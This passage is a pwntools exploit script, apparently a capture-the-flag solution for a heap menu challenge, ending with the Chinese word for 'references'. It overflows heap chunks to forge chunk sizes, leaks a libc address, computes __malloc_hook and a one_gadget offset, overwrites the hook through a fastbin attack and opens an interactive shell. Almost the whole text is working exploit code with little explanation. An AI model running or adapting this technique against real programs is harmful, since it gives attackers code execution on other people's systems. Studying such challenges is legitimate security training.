  9. io.recvuntil("Command: ")
  10. io.sendline('2')
  11. io.recvuntil("Index: ")
  12. io.sendline(str(idx))
  13. io.recvuntil("Size: ")
  14. io.sendline(str(len(cont)))
  15. io.recvuntil("Content: ")
  16. io.send(cont)
  17. def free(idx):
  18. io.recvuntil("Command: ")
  19. io.sendline('3')
  20. io.recvuntil("Index: ")
  21. io.sendline(str(idx))
  22. def dump(idx):
  23. io.recvuntil("Command: ")
  24. io.sendline('4')
  25. io.recvuntil("Index: ")
  26. io.sendline(str(idx))
  27. io.recvuntil("Content: \n")
  28. data = io.recvline()
  29. return data
  30. alloc(0x10)
  31. alloc(0x10)
  32. alloc(0x10)
  33. alloc(0x10)
  34. alloc(0x80)
  35. #fill(0, "A"*16)
  36. #fill(1, "A"*16)
  37. #fill(2, "A"*16)
  38. #fill(3, "A"*16)
  39. #fill(4, "A"*128)
  40. free(1)
  41. free(2)
  42. payload = "A"*16
  43. payload += p64(0)
  44. payload += p64(0x21)
  45. payload += p64(0)
  46. payload += "A"*8
  47. payload += p64(0)
  48. payload += p64(0x21)
  49. payload += p8(0x80)
  50. fill(0, payload)
  51. payload = "A"*16
  52. payload += p64(0)
  53. payload += p64(0x21)
  54. fill(3, payload)
  55. alloc(0x10)
  56. alloc(0x10)
  57. #fill(1, "B"*16)
  58. #fill(2, "C"*16)
  59. #fill(4, "D"*16)
  60. payload = "A"*16
  61. payload += p64(0)
  62. payload += p64(0x91)
  63. fill(3, payload)
  64. alloc(0x80)
  65. #fill(5, "A"*128)
  66. free(4)
  67. leak = u64(dump(2)[:8])
  68. libc = leak - 0x3c4b78 # 0x3c4b78 = leak - libc
  69. __malloc_hook = libc + 0x3c4b10 # readelf -s libc.so.6 | grep __malloc_hook@
  70. one_gadget = libc + 0x4526a
  71. log.info("leak => 0x%x" % leak)
  72. log.info("libc => 0x%x" % libc)
  73. log.info("__malloc_hook => 0x%x" % __malloc_hook)
  74. log.info("one_gadget => 0x%x" % one_gadget)
  75. alloc(0x60)
  76. free(4)
  77. payload = p64(libc + 0x3c4afd)
  78. fill(2, payload)
  79. alloc(0x60)
  80. alloc(0x60)
  81. payload = p8(0)*3
  82. payload += p64(one_gadget)
  83. fill(6, payload)
  84. alloc(1)
  85. io.interactive()

参考资料